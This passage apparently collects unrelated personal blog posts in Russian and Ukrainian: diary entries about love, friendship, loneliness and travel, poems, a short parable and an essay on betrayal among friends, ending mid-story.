    Кто не в курсе, я не живу там уже больше, чем 1,5 года. А когда уезжала, думала, что это на пару недель только, пока не стабилизируется обстановка в нашем городе, да и в регионе в целом.

    Чтоб вы понимали, у меня хорошая память на цифры. Но тут я тупо не могу вспомнить. И мне так больно от осознания того, что я так давно там не живу, что не помню таких элементарных вещей. А ведь там мой дом, где бы я сейчас не находилась, но он там.

    Плакать хочется.

    встати в 13 дня і валятися в ліжку до 8 вечора, і деально. Знаєте інколипотрібно такідні, на одинці з собою і серіалом. По скучать, розібратися в собі зробити певні висновки і добавити нові цілі. Такі дні потрібні :)

    Кто придумал фразу про то, что мечты всегда сбываются? Какой такой идиот это сказал? Ничего не происходит только потому что мы чего-то хотим. Мы все делаем сами. Только вот некоторые наши мечты превращаются в утопию. И обычно это те мечты, которые мне лелеим в самой глубине. Действуй те! Делайте хоть что-то! Правильно, неправильно, какая разница? Делайте!

    Знаєте ? Довіра як бумага ти її в руці зіжмеш, навіть не сильно, трошки. І потім будеш старатися рівняти, в тебе нічого не вийде.

    Як не старайся, а такою ідеальною як вона була, вона більше не стане. Я про те, що скільки разлюди робили мені юольно, я, скоріше за все, незможу довіряти ним на всі 100%, бо коли людина тебе прідає, вона прідає і ваші відносини. Тому, найкраще недовіряти ніком, просто змовчати, щоб потім вам і не зробили боляче, вашими ж словами.

    Когда просто присел попить чая и вдруг осенило.

    Чего я хочу от жизни? Удовольствия от того, что я делаю. Радость мне может дать только то дело, которое любо и дорого душе. Всё связанное со словом, русским языком и литературой. Сюда же некоторые моменты истории, культурологии, социологии и биологии. Но если смотреть в общем - углубление в интересную мне тему.

    Что я могу получить прямо сейчас? Изучение профессии журналиста, еже с этим изучение литературы (если не вглубь, то вширь) и социология. И, конечно же, собственноручное (? или собственноголовное) чтение внутрь, впитывая каждое слово и каждую статью на сей счет.

    Что я буду делать? Читать, изучать и анализировать.

    От чего откажусь? От интернета (сокращу, пожалуй, до 30-40 минут в день), сериалов и литературы, которая не цепляет.

    Время бесценно, а я хочу стать человеком.

    ..нам судьбой суждено
    встретиться снова
    в одном из февральских дней.

    Делаю ставку на тридцать первое.

    Одна полоска, и гости пришли в тот же вечер. Мы с Р счастливы. Он уже настроился на том, что я буду рожать. А его мама нас поженила уже. ^^

    Обязательно нужно о себе напомнить. Написать сообщение, которое должно у меня вызвать море эмоций. Выставить фотографию, чтоб я знала, что ты не грустишь.

    Да хорошо, да, пожалуйста!

    У меня иногда перехватывает дыхание, сердце бьется быстрей. Но я-то знаю, что могу с этим справиться. Раз уж сказал «прощай», так не надо о себе постоянно напоминать.

    Сейчас у меня есть тот, кто целует меня в лоб каждый раз, как только загорается красный сигнал светофора. И пока мне этого достаточно.

    Просто, я хочу тебя попросить. Оставайся в прошлом. И никогда не приходи.

    Коли ти вільний від падіння в гору

    я можу впасти

    зачіпаючись за стовбури дерев
    я можу бути вільним як
    ти в падінні
    на зірки
    вони як цукор
    і ти розчиняєшся
    в пилюці
    зіркового сну
    у вільному польоті
    вгору
    або вниз до зірок
    у морок
    думок
    своїх

    он позвонит, а ты не побежишь через ступеньку к телефону. он предложит встретиться, а ты не бросишься к зеркалу, вытряхивая по пути содержимое шкафа. он предложит заехать, а ты ответишь, что удобнее встретиться уже в центре города. ты смотришь ему в глаза свободно и открыто, так, что он первым отводит смущенный взгляд. ты не комплексуешь и позволяешь себе поправлять макияж при нем, в его же машине. ты боковым зрением видишь, как он смотрит на тебя. ты знаешь, что все эти взгляды означают и безошибочно определяешь, когда становишься для него чем-то большим, чем просто симпатичная Барби. ты все это время сидишь и задаешь себе лишь один вопрос "какого черта я здесь делаю?!", ты даже знаешь ответ. а еще ты понимаешь, что этот хороший, милый, интеллигентный, воспитанный, приятный во всех отношениях мальчик, влюбленный в тебя, никогда не станет антибиотиком, никогда не сможет поцарапать душу так, чтобы потом хотелось сдохнуть, но вспоминать и вспоминать. он ждет приглашения на кофе, ты желаешь ему спокойной ночи. успеваешь снять лишь левый сапог "уже соскучился. а ты?!". лучше бы тебе не знать, хороший мой. пьешь на кухне коньяк и ненавидишь того, кто превратил тебя в чудовище, неспособное становиться для других "кем-то большим"

    Ох мы их обожаем!

    Вчера случайно наткнулись на новую игру, которая называется "Клуэдо". И как раз вчера к нам пришли в гости друзья, и мы вчетвером засели играть в эту игру, конечно, сначала очень тяжело понять правила и принцип игры, но потом…..

    ёёёё, это игра нас покорила… Поэтому если вам предлогают поиграть соглашайтесь, не пожалеете!

    Кипр. ты знаешь, что я не люблю писать письма, но ради тебя я это сделаю. МЫ дружим с начальной школы и я уже не представляю свою жизнь без тебя, мы всегда держались с тобой бок о бок. Ты меня всегда направляла на правильный путь, давала своими действиями и мыслями мне образец для подражания. Хоть иногда ты и ругаешь меня, мне это не нравится, но я понимаю, что ты это делаешь для моего блага, ты заботишься обо мне. Были у нас с тобой мелкие ссоры, именно и мелкие, больших у нас с тобой не получается. Ты всегда поможшь мне советом, направишь на правильную дорогу.
    Мы с тобой настолько близки, что можем просто приходить друг к другу, Чтобы поесть, посмотреть беременна в 16 или что-то подобное, да и просто ничего не делать и батониться на диване и молчать. Но эти моменты они такие крутые и незабываемые, потому что я радом с тобой. Я хочу проводить с тобой больше времени, Чем у нас получается. Я стремлюсь поехать в Томск, чтобы быть рядом с тобой. Потому что все те друзья, которые прошли мимо нас с тобой за это время не сравняться с тобой никак. Надеюсь, что наша дружба будет долгой.
    Спасибо тебе большое за то, что ты есть, за то, что ты делаешь для меня. Я тебя люблю <3

    Не позволяйте людям относиться к вам как к сигаретам. Они только используют вас, когда им скучно и тушат вас. Будьте как наркотики. Пусть хотят умереть за вас.

    Я уже чувствую запах роз, которые мне никто не подарит на день Св. Валентина и чувствую вкус конфет, которые куплю себе сама под винишко.

    Мы помирились. Но пока я не радуюсь особо. Выходные были хорошие, очень домашние, теплые, милые, но во мне НАСТОЛЬКО много скептицизма стало, что почему-то во всем мне казался подвох, что он меня пытается задобрить, а когда я оттаю наконец все вернется на свои места. Конечно, я могу ошибаться, но все равно I'm holding my breath, так сказать.

    В пятницу он прислал мне смс со словами "Привет, приедешь ко мне?" И ТУТ Я ПРОСТО ОХЕРЕЛА! Ни извинений, ни объяснений своих идиотских выходок, просто "привет" как ни в чем не бывало. Отвечала ему холодно, и в конце концов он позвонил, сказал, что перегнул палку, мол той же ночью, как уехал отправил смс (которое типа не дошло мне) с извинениями, сожалениями. Мне слабо в это поверилось, но, потом оказалось, что так и было. Мы обо всем поговорили, выяснили все спорные моменты и я простила его. Вообще я отходчивая, но для меня важно, чтобы человек понял, где он накосячил и признал своою вину. В его словах, когда он извинялся, я слышала искренность и сожаление, и мне хотелось ему поверить. И я поверила. Но, опять же, повторюсь, доверяй, но проверяй…

    Я определенно начала свой год с безумства. Сегодня сделала первое тату! Неприятные ощущения, но терпимо. Сделала на руке. Синичку. И самой не верится, что я решилась на это.

    nomy – cocaine

    Заберите все мои детские влюбленности, ну в конце-то концов! Млею как маленькая девчонка от одного его взгляда, смеюсь, как дурочка, несу чушь, смущаюсь и краснею: и после этого кто мне поверит, что идет третий десяток? Но, девчонки, он такой хороший, он скромный, он милый, он, когда шутит, попадает в тему, а когда смотрит - прямо в душу. Он не свободен, его окружает масса девушек умнее и красивее меня, но я ничего с собой не могу поделать. Я влюбилась как дурочка в дядьку, который старше меня на пять лет, а мне самой-то уже не семнадцать! Мудрая женщина на моей работе смеется, мол, такая баба здоровая, а такие глупости творишь: "Нравится? Иди бери, а то потом жалеть начнешь". А как я пойду, если у него есть пассия? Как? Где взять ту порцию адреналина и смелости, чтобы просто разговаривать с ним, не отводя взгляда?

    Полнейшая вакханалия чувств, но так тепло на душе! Я предвкушаю весну?

    P.S. и еще я долго думала, в какое одно слово можно уместить суть сия поста. Ну, пусть будет "Робость" :)

    Девушка ожидала свой рейс в большом аэропорту. Её рейс был задержан, и ей пришлось ждать самолёт в течение нескольких часов. Она купила книгу, пакет печенья и села в кресло, чтобы провести время. Рядом с ней был пустой стул, где лежал пакет печенья, а на следующем кресле сидел мужчина, который читал журнал. Она взяла печенье, мужчина взял тоже! Её это взбесило, но она ничего не сказала и продолжала читать. И каждый раз, когда она брала печенье, мужчина продолжал тоже брать. Она пришла в бешенство, но не хотела устраивать скандал в переполненном аэропорту.

    Когда осталось только одно печенье, она подумала: "Интересно посмотреть, что сделает этот невежа?".

    Как - будто прочитав её мысли, мужчина взял печенье, сломал его пополам и протянул ей, не поднимая глаз. Это было пределом, она встала, собрала свои вещи и ушла. Позже, когда она села в самолет, полезла в сумочку, чтобы достать свои очки и вытащила пачку печенья… Она вдруг вспомнила, что она положила свою пачку печенья в сумочку. И человек, которого она считала невеждой, делился с ней печеньем, не проявляя ни капли гнева, просто из доброты. Ей было так стыдно и не было возможности исправить свою вину.

    Прежде чем гневаться…
    Задумайтесь..
    Может быть не правы именно Вы…

    SOCIAL MEDIA ICONS

    Иногда хочется поделиться ссылками на свои профили в других соц.сетях, но обычные ссылки типа ткни сюда и оригинальные иконки сайтов порядком поднадоели. Именно поэтому я составила небольшую подборочку значков соц.сетей, на которых мы чаще всего сидим. Клик на первую иконку в каждом ряду - попадете на страницу с более широким выбором.

    И скажите еще, что у меня не самая клевая открытка в мире!

    В общем, знаете, очень смешанные чувства.
    Потому что с одной стороны у меня переоценка дикая, будто меня ткнули носом, что все мои друзья меня любят и знают, что они обо мне заботятся, что понимают и разделяют. И это настолько приятное чувство, настолько оно меня пристыживает за все моменты сомнения, злости, обиды. Я вам передать не могу.
    А с другой стороны - Л.
    Л. вела себя до такой степени отвратительно, что хотелось, знаете, аки дитя, взять ее за ручку, отойти в сторонку и попросить пересмотреть свое поведение. И я не преувеличиваю. Она, как хозяйка, должна была сглаживать углы и неловкости, а вместо этого она сама же вылила на меня ведро говна.
    Две ее подруги ушли, проведя с нами от силы полчаса, и все эти полчаса не пытались ни поддерживать разговор, ни вести себя любезно, вместо этого же общались только друг с другом (ну, и с Л., естественно), перешептывались, перехихикивались, в итоге вдвоем ушли на кухню (где к ним присоединилась и Л., собственно) и до своего ухода сидели там отдельно.
    Не знаю на счет чувства комфорта, но моя женщина, почему-то, была предельно культурна со всеми, хотя никого, кроме меня, больше пару раз не видела, со всеми общалась, и вела себя как часть одной компании.
    Л. же весь вечер отпускала колкости на счет музыки, игравшей из моего плеера (потому что музыку обеспечивала я). В душе не понимаю (потому что она сама не могла объяснить), что для нее "веселая" музыка. Я тщеславно считаю, что у меня, если не хороший, то хотя бы вполне нормальный музыкальный вкус. Л. прыскала этими иголками, пытаясь что-то доказать мне, найти поддержку у всех остальных, но соль в том, что во-первых, когда она делала это, абсолютно каждый опускал глаза, а во-вторых, менять что-либо было уже поздновато, так что.
    Апогей наступил, когда Л., глядя на меня, изрекла шутку (о, надеюсь это была шутка, иначе мне стоит серьезно подумать), что знакомство со мной - величайшая ошибка и беда в ее жизни. Молчание повисло тяжелым гнетом, потому что пропустить такое мимо ушей невозможно, а заострять внимание, когда все собрались праздновать как-то не комильфо. Мне пришлось отшутиться, но ощущение некомфорта можно было не то, что физически почувствовать, его можно было резать ножом.
    Все оставшееся время Л. проходила с недовольным скучным лицом, не отрываясь от телефона.
    Пока нам, собственно, было весело играть в "пойми меня", монополию и пр. Мы жутко смеялись и отдыхали, потому что нам друг с другом легко.

    Это действительно был последний День рождения, который я праздновала с Л., и, думаю, мне очень стоит обдумать все это.

    Пока, тем временем, меньше, чем через 2 часа я появлюсь на свет в каком-то временном кольце. И мне окончательно станет 22 года.

    За моей насыщенной жизнью и бурным общением (в сравнении с прошлым годом) скрывается безмерное одиночество. У меня такая пустота в душе - аж страшно становится. Хочется "бросится на первого попавшегося". Просто крик души какой-то.

    Слушая других, понимаю, что у меня нет никакого опыта. У меня только теория. Полная неудачница.

    07.02.2016

    Любимым мы прощаем всё,
    Обман и пролитые слезы
    Когда любовью оглушен,
    Не чувствуешь в душе морозы

    Любимым мы прощаем всё
    И даже подлые поступки,
    Измену, ложь и наглое вранье
    Во всем идем мы на уступки.

    Когда с другим идет в кино
    Не спорю, это обижает
    В итоге каждый все равно
    Свою любимую прощает.

    Когда гуляет до поздна,
    А ты сидишь переживаешь.
    Не пишет даже с кем она,
    И кто ее там провожает.

    Когда в квартире суета
    Скандал и крик, битье посуды…
    Когда закончится борьба
    Простишь ты все её причуды.

    Любимым мы прщаем всё
    И ничего не замечаем.
    А не любимым не простим
    Не мытой кружки из-под чая.

    Мягко падая на землю, Сэм обращается к своей крови, приказывая ей, танцующей, чтобы пролился огонь. Он должен вспомнить кого-то, прежде чем заснёт под огнём. Он вспоминает о быстрых снах, сопровождаемых голосом Джеффа и сотнями лиц Джеффа, вспоминает о человеке. Каком-то человеке, который был с ним и одновременно не был.Нет имени, Сэм не помнит имени.

    Он засыпает, решив, что этот человек может идти через огонь беспрепятственно.

    О, ебать, сегодня был момент, от которого мне захотелось слиться со стеной, стать молекулой или бозоном Хиггса, раствориться в диване, лишь бы не быть там. Дело в том, что у меня не так давно на заставке телефона стоит его фото. Не считаю это чем-то тупым, у меня довольно долго стояло фото Яна, потому что он красивый и поднимал мне настроение. А фото Ильи очень поднимает настроение, ведь он там такой милый улыбашка.

    Обычно я меняю заставку, когда еду к нему, чтобы он не увидел, но тут забыла. И как ни в чем не бывало, лежа у него на бедре, достаю телефон, чтобы что-то проверить. И тут он такой: "Чтооооо?". Сидит, весь в шоке, улыбается. Я тут же начала оправдываться, мол, ну нравится мне твое фото, оно поднимает ме настроение. А он в голосину ржал, да тискал меня повсюду, мол, мое фото у тебя на заставке!

    Естественно, я очень засмущалась, он меня пообнимал, поцеловал, сказал, что ничего плохого не имел, когда засмеялся и что ему приятно, на самом деле. Еще проверил, как он у меня в телефоне записан (просто Илья Лазуренко) Но фото я все равно сменила. Хотя он сказал, мол, все равно же поставишь. А вот теперь не поставлю!

    Блин, ну это было очень не очень.

    Только тогда, когда глядя на влюбленных людей, ты перестанешь думать: "о, как же я одинок" и "вы меня раздражаете". Только тогда, когда видя счастье других, ты перестанешь восклицать: "лицемеры" и "у меня так никогда не будет". Только тогда, когда ты сможешь вычеркнуть зависть и неприязнь из своего сердца и поселить туда сочувствие и понимание, тогда и только тогда это мир станет лучше, добрее и чище. Только тогда ты сможешь почувствовать легкость у себя внутри. Только тогда ты поймешь, что значит быть в гармонии с собой и окужающим миром. И ты почувствуешь, что такое счастье.

    Мисс Малфой

    gif source

    Гуша Катушкин

    Тереза из Франкфурта

    В ней было что-то от ангела и от шалавы .

    С неё хотелось писать иконы … А потом бросать их в канавы .

    В ней было что-то от матери и от отца,

    Хоть я и не знал их обоих.

    Да и её я тоже не знал до конца…

    я ебала это КЕмерово а

    сука, не успел приехать, уже разборки. В которых ты вообще не при делах, но пытаются тебя каждый на свою сторону переманить

    ОЙ ШЛИ НА ХУЙ ААА

    в обзщем, у меня бомбит пиздец, все эо время пока я в Кеме. Еще и на пати вчера пиздец происходил

    НУ НННАХЕР, НИКОЛАЙ, ВЕЗИТЕ НАС В ГЕШ ОБРАТНО

    Господи….Ты береги его, пока
    я с ним не рядом.
    Ты последи
    за ним, пока он далеко.
    И Ты
    храни его- мне больше
    ничего не надо!
    Лишь бы был
    жив и знать, что с ним все
    хорошо.
    И если холодно ему-
    пусть станет потеплее, и если
    тяжело, ты его ношу
    облегчи.
    А я молить тебя все
    время буду, чтоб он не
    сбился с верного пути…

    так-с, это были самые странные сутки за последнее время, но об этом позже

    завтра начинается учеба, разбираюсь с вещами и расписанием. И еще мне пришли стикеры, которые на первом фото, и я заказала с дэди)) Ну люблю я стикеры, мой ежедневник радуется

    скоро пойду к подруге в комнату смотреть футбольчик, общага опять наполнена жизнью

    Преломляющие грани стекла рассеивают свет по всему спектру.

    Вы видите, они создают полную длину волны разгона, так что если посмотреть внутрь, то можно увидеть все цвета радуги.

    В голове хаус. Столько мыслей, что голова разрывается. Я его ненавижу. Ненавижу, хочу ударить, обозвать! Но в то же время, я скучаю по нему и очень, очень хочу его увидеть. Что можно сказать по этому поводу? Женщины.

    сегодня с мамой вернулись с поездки на Аршан.

    всё-таки каждое место имеет свою атмосферу в зависимости от времени года.

    летом 2013 (?) года аршан мне показался наискучнейшим местом пребывания, а уже зимой 2016 года это поселение стало для меня местом обретения гармонии и спокойствия.

    правда 4 часа в комфортабельной маршрутке оставили свой отпечаток на моем состоянии. до сих пор тошнит: (и дважды мне попались места без возможности обзора дороги! это же просто возмутительно! ехать и даже не наблюдать красоты наших мест!

    а еще в Аршан можно ездить за вкусной едой! буряты все-таки лучшие в готовке поз и чебурек! правда чебурек с сыром я пробовать больше не стану, ничего особенного, лучше съесть такой с мясом. вот это вообще объедение!

    и я ещё раз убедилась, что даже маленькое путешествие - лучшее средство от хандры / спутанных мыслей / плохого настроения! путешествуйте чаще со своими родными! создавайте хорошие, уникальные воспоминания!

    "…Любить — это видеть любой предмет,
    Чувствуя рядом родную душу:
    Вот книга — читал он ее или нет?
    Груша… А как ему эта груша?…"

    Э. Асадов

    У меня на лбу наверно написано, что лучше со мной не связываться. Провели отличный вечер пятницы на квартире у знакомого парня с универа. Вроде как были в одном помещении, а сегодня с девочками разговорились и выяснилось, что этот парень успел подкатить к ним обеим. А я как бы для количества ахахах)) Когда я успела стать такой подружкой, которая и компанию составит и парня не уведет?

    Теперь не поеду домой две недели из-за Лыжни России. Смешанное чувство. Но пока все хорошо. Новая стрижка, попытка правильно питаться и безграничное чувство влюбленности. Все, как я люблю.

    Чего еще можно ожидать от девушки, называющей себя Настюхой в соц.сетях., если не пьянок с танцульками в обеднее время воскресенья, как раз, когда я хочу поспать. И не очень то интересует, что у ее мужа др. Не зря мы вас в том месяц затопили. Ох, не зря. Будет мне еще потом в вайбер писать, что я громко хожу. Я ж писала, что мы не подружимся.

    В общем, первая история будет о моем отдыхе в Греции с моей лучшей подругой (Машей). А точнее - о безумной ночи :D И сразу небольшое отступление - я люблю всякие книги/фильмы про силу мысли и желания и считаю, что все возможно, что бы ты не захотел. Так вот.. шел 3 день нашего отдыха, после ужина мы пошли фотографироваться, решили подняться на холм, чтобы были местные домики и плантации в кадре. В общем-то, пока мы поднимались, уже стемнело, и мы в панике начали искать дорогу назад, вспоминая о существовании змей и видя полуголого мужика, собирающего урожай, уровень паники был критическим, и мы с радостью побежали вниз, как увидели первый же поворот в нужную сторону. Куда мы пошли потом, спросите вы? Мы пошли ПИТЬ! хаха отмечать наше спасение, так сказать. Сидим, болтаем, а потом я говорю: а пойдем в клуб?! Маша была за, и мы решили пойти в клуб, где безумные пенные вечеринки и вообще самый крутой клуб на Крите в нашем городе, как сказала наша гид. Ну и что вы думаете? Мы шли до него минут 20, что много для нашего города а он был закрыт :D (затем мы ходили туда еще раз, опять вечеринки остались только историей гида хаха) ну и значит, вернулись мы обратно и тут оказалось, что у нашего отеля крутетский клуб с бассеином, открытым танцполом и бесплатным входом (как окозалось, это не только в нем). Пошли танцевать. Ребят, бывают такие моменты, после которых все так меняется, как по щелчку, ты это видишь в окружающем мире и чувствуешь. Эта была та ночь.

    В общем танцуем мы, и тут я замечаю ооочень симпатичного парня. Он был в компании друзей (2х других) ну Маша заценила (у нее был парень, так что она просто заценила хах) и мы начали танцевать недалеко. Я смотрю, он как будто игнорит. А к нам иностранцы подошли уже раз 8-10 точно. Потом в какой-то момент он заметил и они начали танцевать с друзьями недалеко. Но не подходил, хотя и видел, что то и дело к нам подходят, а мы отказываем. Ну и в итоге уже прошло 2 часа, и я думаю, какого… так долго ждать буду?! подошла сама. Мы танцуем. Потом отошли, он из Германии. Танцевали, Маша уже хотела домой, т.к. не было смысла ей оставаться да и я устала, было уже около 4х и я его отвела в сторону. Диалог с переводом на русский:

    Я: Мне нужно идти, но я могу дать тебе свой телефон.

    Он: да? О, благословление

    Я (про себя: ну естественно :D) даю номер, а он такой: я завтра в 8 улетаю.

    Я такая: да? жаль.

    Ну потом еще один танец и поцелуй и я ушла.

    В общем to be continued..

    Но, объясняя почему та ночь перевернула жизнь в каком-то смысле:

    Было так, что после этого абсолютно КАЖДЫЙ день к нам с Машей подкатывали и не раз. При том, такие истории случались. Конечно, мы симпатичные. Но просто из примеров: когда мы загорали у бассеина, пришли 2 друга и мы с Машей начали посмеиваться, что один ооочень похож на Тарзана (и фигурой в том числе хаха) и я читаю книгу, и слышу, кто-то сбоку говорит, поворачиваю голову и он (опять перевод с англ):

    —привет, говоришь по-английски?

    Я: да

    Он: можно я сделаю тебе массаж ног?

    Я не знаю, что на меня нашло в то время и почему я ответила так, но я долго не думая: - нет, спасибо

    Спасибо?! что хахахах

    Она самая хорошая и лучшая подруга на свете, а у нее такие подруга и парень. Я все понимаю, я не то, что как подруга плохая, я и как человек дерьмо, что не смогла это вовремя закончить. А теперь все зашло слишком далеко. Я люблю ее. И его..

    Помню, раздобыл я книгу Бродского, 64 года. Уплатил как за библиографическую редкость приличные деньги. Долларов, если не ошибаюсь, пятьдесят. Сообщил об этом Иосифу. Слышу:

    — А у меня такого сборника нет.

    Я говорю:

    — Хотите, подарю вам?

    Иосиф удивился:

    — Что же я с ним буду делать? Читать?!

    Сергей Довлатов "Соло на IBM"

    Давай угадаю. Тебя предавали всю Дорогу, а те, кто не предавал, не делали это только потому, что ты отщипывал(а) им слишком маленький кусочек доверия изначально. Каждый, кому ты доверял(а), тебя предал. Предательство это не всегда нож в спину или кидалово на деньги. Или отбивания твоего партнера за твоей спиной.
    Предательство это гораздо более тонкая штука.
    Это то, что происходит каждый раз, когда твой Друг оказывается не на твоей стороне. Единственная функция твоего Друга- быть на твоей стороне. И быть с тобой, когда тебе тяжело. Присутствовать. Переживать твое как свое.
    То есть в твоей жизни не было вообще цельных, здоровых и качественных отношений с другими людьми, из которых можно было бы напитаться и вырасти.
    Как ты узнаешь настоящее к себе отношение? По маленьким тревожным звоночкам. Большинство людей так привыкли к поверхностному и некачественному общению, что они списывают эти звоночки на юмор или плохое настроение оппонента. Просто оправдывают. Общее в этих звоночках одно. Неуважение. Не принятие в расчет. Обесценивание. Неодобрение. Игнорирование. Отсутствие поддержки.
    Все эти маленькие искорки возле бомбы не замечаются.
    И вот однажды рвануло так, что не показалось мало никому.
    - Как же так, все же хорошо было!- удивляются они.
    Да никогда ничего не было хорошо. Просто ваш глаз способен видеть только бревна. Только бомбы. Все остальное он не фиксирует.
    Неуважение это вообще норма современного общения.
    - Слышь, ты, дура блондинистая, пиво мне принеси, - говорит моей бывшей подруге ее парень.
    - Че, алкаш, куда собрался, завтра ж сессию сдавать, - отвечает она ему с улыбкой.
    Недавно я попросила девушку, которую считала своей подругой, поставить ради меня один смайлик на чужой странице. В ответ она высралась огромной пастой о том, насколько она не уважает "сраный интернетик" и какая я отвратительная, хуевая и проебывающаяся личность (А девочка, межпрочим, с утра до вечера читает комиксы и посредственные журналы.) Она не пожалела времени на кучу слов, но пожалела времени на смайлик. Потому что ей было очень страшно, что подумает на самом деле о ней совершенно незнакомый в интернете человек. И собственное спокойствие для нее было важнее меня.
    Это всего лишь один из кучи примеров предательства.
    И- да- любой, даже самый маленький звоночек-индикатор- повод вычеркнуть человека из своей жизни навсегда.
    Предательство также, когда ради тебя обещают что-то делать, когда тебя заманивают подписаться в какую-то совместную историю под названием "наша жизнь", а потом садятся, опустив руки, и сидят неделями напролет, не вылезая из-за компа или из-под одеяла. Или переходят на другую сторону перекрестка, как бы говоря: "Нам больше не по пути. "
    Эти люди выбирают между своими страхами что-то сделать и тобой свои страхи. Основной из страхов таких людей -"что обо мне подумают. "
    Общее одно- ради тебя не готовы ничего сделать.
    Критерии не слова, критерии всегда поступки. Индикаторы.
    Конечно, слова тоже могут быть критериями. Когда ты раскрываешься, а твой друг отвечает что-то типа "гыгыгы еба ну ты загналась пффф". Когда ты почти плачешь, а твоя подруга продолжает утопать в рациональном, логическом, занудном, сухом, игнорируя твое состояние, демонстрируя то, что ей глубоко похуй, вместо того, чтобы обнять тебя или плакать вместе с тобой.
    Это так странно, но у меня есть опыт совсем других, иных отношений. Отношений, полных заботы и трепетной нежности. Я нашла людей, которые разделяют мои ценности относительно коммуникаций- хотя их чертовски мало, но они дороги мне больше, чем что-либо в этом мире. Я напиталась в них, я выросла через них. Этих людей объединяло несколько качеств.
    Они умели извиняться и просить прощения также, как я. Искренне и без всяких просьб. Они могли признать, что они не правы. Им было больно, когда было больно мне. Они были очень чувствительные и теплые. Они плакали, когда я плакала, даже если я была в другой стране или городе. Они рыдали, когда думали, что могут лишиться нашей дружбы и связи- большинство тех, кого я считала друзьями раньше, не проронили из-за меня ни одной слезы. Они были готовы проехать километры в мороз, лишь бы меня увидеть. Я была готова пойти за ними в любое Северное Болото =) Они были способны пошутить в разгар самой крупной искрометательной и злой ссоры так, что я начинала смеяться до слез и шла обнимать. Они были способны погасить всю ссору одной фразой. Этого умения я не видела почти ни в ком (кроме себя=)
    Никогда и ни в чем мы не доходили до оскорблений или насмешек. Они были готовы раскрывать ситуации, самые неприятные и болезненные вещи прямо тогда, когда они происходят, они были способны говорить о своих чувствах искренне и прямо. Да, сейчас я не могу похвастаться ими- один из этих людей все же меня предал, перейдя на другую сторону перекрестка, а второй волей обстоятельств уехал в другую страну. Но у меня осталось кое-что ценное. У меня теперь есть, с чем сравнить. Большинство людей как мусор в разноцветных обертках- ими можно напитаться, когда ты голоден, но потом будет тошнить. Но лучше я буду до конца жизни эмоционально голодать, чем засовывать в себя всякий мусор.

    Весеннее настроение за окном. А я тем временем тухну на кровати. Смотрю фильмы. Пытаюсь учить экзамен. Как я раньше развлекалась? Ах если бы я помнила… Скучно одним словом. Настолько скучно, что решила в кое-том веке написать пост.

    Пост о… том, что первое пришло в голову, и если так подумать последнее время я все чаще об этом задумываюсь. Хочется веселья, раздолья, напиться-забыться заняться сексом с первым встречным похожим на Даниила Козловского, ахах ну вот это я замахнулась) Может кто-то скажет, что это на блядство потянуло, и знаете, что я скажу…. ЧТО ДА, ТАК И ЕСТЬ. И кто знает, что это? Зов весны или долгая "супружеская" жизнь (2 года) под#аебала… А вдруг я просто старею и боюсь не успею нагуляться потом?… Оу да) Я скучаю по беззаботному прошлому, когда я могла курить сколько хочу и никто не говорил хватит это вредно, по тем временам, когда я могла влюбленная переписываться летними ночами, когда секса с любимым (бывший) было хоть отбавляй и он меня устраивал, когда бегали и смеялись… не было границ, ответсвенности что ли… И это было определенно самое лучшее время… Эх где мои 16 лет…

    Итак, я стояла ночью на Ленинградском шоссе. И стояла совсем не с той целью. Просто за десять минут до этого меня высадили из машины мои случайные знакомые… Нет, опять не то. Давайте по-порядку. Я летела с одной милой женщиной и ее братом из Варшавы в Москву. Мы в самолете познакомились. А когда приземлились, они меня спросили: «Тебя кто-то встречает?». Я вспомнила наставления мужа: «Когда прилетишь – бери такси, не торгуйся» и покачала головой: «Нет, никто». Тогда эти добродушные люди посадили меня в свой автомобиль, но предупредили, что скоро им придет пора сворачивать на кольцевую, а мне нужно двигаться по Ленинградке дальше. Я как-то не обратила внимания на такие мелочи. С той самой минуты как прошла паспортный контроль в Шереметьево и убедилась, что муж действительно не шутил насчет такси, я сильно опечалилась и размышлять могла только об одном: «Почему он меня не встретил? Почему?» Однако мои новые знакомые довольно быстро остановились и сказали, что дальше нам не по пути. Я очень сердечно с ними простилась. Вытащила из багажника все свои сумки с козьим сыром «осципек» из горного селения Закопане. Закинула на спину рюкзак с деревянными ангелочками из Кракова. Прихватила пакеты с сувенирами из Велички. И застыла на обочине со всем этим великолепием. По шоссе на ужасной скорости проносились автомобили. Шел снег. Я коченела в своей кофточке. Через минуту мне удалось высвободить из пакетов правую руку и поднять ее параллельно земной поверхности. Через десять минут я поняла, что машину тут не поймать. Через пятнадцать минут я надела на себя все, что у меня было: бейсболку «60 лет освобождения Варшавы от фашистов» и ковер ручной работы из овечьей шерсти и козьего пуха. Понятное дело, что теперь и вовсе никто не собирался останавливать машину на полном ходу и усаживать в нее такую сдвинутую дамочку. И я зашагала вдоль дороги. В конце концов я набрела на какую-то остановку, села на полночный автобус, потом прокатилась на троллейбусе, а затем меня все же подобрал автомобиль, и довольно быстро, всего за каких-то три часа мне удалось добраться домой. В прихожей я рухнула со своими сырами на пол. Муж сидел за компьютером - спасал Вселенную, поэтому подойти сразу не мог, хотя на шум отреагировал: «Ну что, зайка, приехала?» А я лежала на полу, раскинув руки и не торопилась вставать. «Какого черта, - думала я. – Какого черта я делаю с этим человеком?» Я знала все, что он мне сейчас скажет. Что надо было брать такси, а не искать приключений на свою голову. Что глупо встречать человека ночью в аэропорту, если у тебя нет личного автомобиля. Что я просто ищу повод, чтобы поссориться. Я знала все его разумные и логичные доводы, на которые практически нечего возразить. Но сердцем понимала – что-то тут не сходится. Только через несколько месяцев я смогла четко сформулировать проблему. По МТВ как раз показывали реалити-шоу из жизни семейки Осборнов. Мама загоняла детей в машину, чтобы ехать в аэропорт – встречать папу. Дети капризничали, отбрыкивались, ворчали: «Почему его обязательно надо встречать?» и тут же, передразнивая маму, повторяли вслед за ней смешными голосами: «Потому что мы его люби-и-и-ииим!» Затем успокаивались, садились в машину и ехали куда надо. Тогда-то я все поняла. Мы встречаем близких не потому, что у них тяжелые сумки. И не потому, что лягушек-путешественниц типа меня надо постоянно контролировать, дабы не вляпывались в истории. Мы встречаем близких, потому что любим их. Не правда ли, отличный слоган для старой доброй жвачки «Love is…». «Любовь – это встречать в аэропорту». Мы хотим обрадовать любимых. Поддержать. Обнять. Сказать: «Как хорошо, что ты вернулся». Я ведь создавала семью не для того, чтобы мне говорили: «Возьми такси», «Не трогай меня», «Не мешай», «Разберись как-нибудь сама, это же просто». Я создавала семью для того, чтобы кто-то стоял в зале прилета и искал меня глазами в толпе… Да, если подойти к делу трезво и расчетливо – все эти встречи-провожания почти всегда неудобны, нелогичны и вроде бы не нужны. Можно не ездить в аэропорт – пробки ведь 